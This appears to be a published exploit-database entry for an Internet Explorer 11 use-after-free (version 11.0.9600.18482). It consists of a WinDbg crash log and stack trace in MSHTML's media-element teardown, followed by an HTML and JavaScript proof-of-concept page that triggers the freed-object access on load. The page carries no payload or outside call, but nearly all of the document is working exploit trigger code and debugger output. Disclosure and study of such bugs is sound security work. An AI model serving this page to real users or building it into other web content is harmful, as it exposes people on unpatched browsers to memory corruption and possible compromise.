Microsoft Internet Explorer 11.0.9600.18482 – Use After Free
<!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="Expires" content="0" /> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" /> <meta http-equiv="Pragma" content="no-cache" /> <style type="text/css"> body{ background-color:lime; font-color:red; }; </style> <script type='text/javascript'></script> <script type="text/javascript" language="JavaScript"> /* # Exploit Title: Internet Explorer 11 Use After Free # Date: 05/09/2016 - 11/09/2016 # Exploit Author: Marcin Ressel # Vendor Homepage: https://www.microsoft.com/pl-pl/ # Version: 11.0.9600.18482 # Tested on: Windows 7 (x64) ###################################################################################### 0:014> g (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!) eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08 eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSHTML!CElement::SecurityContext+0x25: 6d754a45 8b80b8000000 mov eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=???????? 0:014> d @eax 2f66abb0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abc0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abd0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abe0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66abf0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 2f66ac20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:014> kb ChildEBP RetAddr Args to Child 1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25 1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d 1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc 1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e 1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0 1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4 1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58 1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb 1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c 1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23 1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b 1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103 1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23 1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109 1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb 1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf 1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7 1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c 1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94 ############################################################################################ */ var doc; var trg, trg_parent; function testcase() { var e1_frame = document.getElementById("e1"); doc = document; e = e1_frame.contentWindow.document.createElement("hr"); rf = doc.body.appendChild(e); e = e1_frame.contentWindow.document.createElement("audio"); rf = doc.body.appendChild(e); dom = doc.getElementsByTagName("*"); document.getElementById("e1").removeNode(true); trg = dom[14]; trg_parent = doc.body; trg.addEventListener('DOMNodeRemoved', new Function('', //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+ 'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+ 'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+ // 'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}' ), false); trg_parent.innerHTML = trg.innerHTML; //CollectGarbage(); //trg.innerHTML = "<h1></h1>" setTimeout('location.reload();',700); } </script> <title>Use After Free</title> </head> <body onload='testcase();'> <iframe></iframe><iframe src='about:blank' id='e1'></iframe> </body> </html> </html> |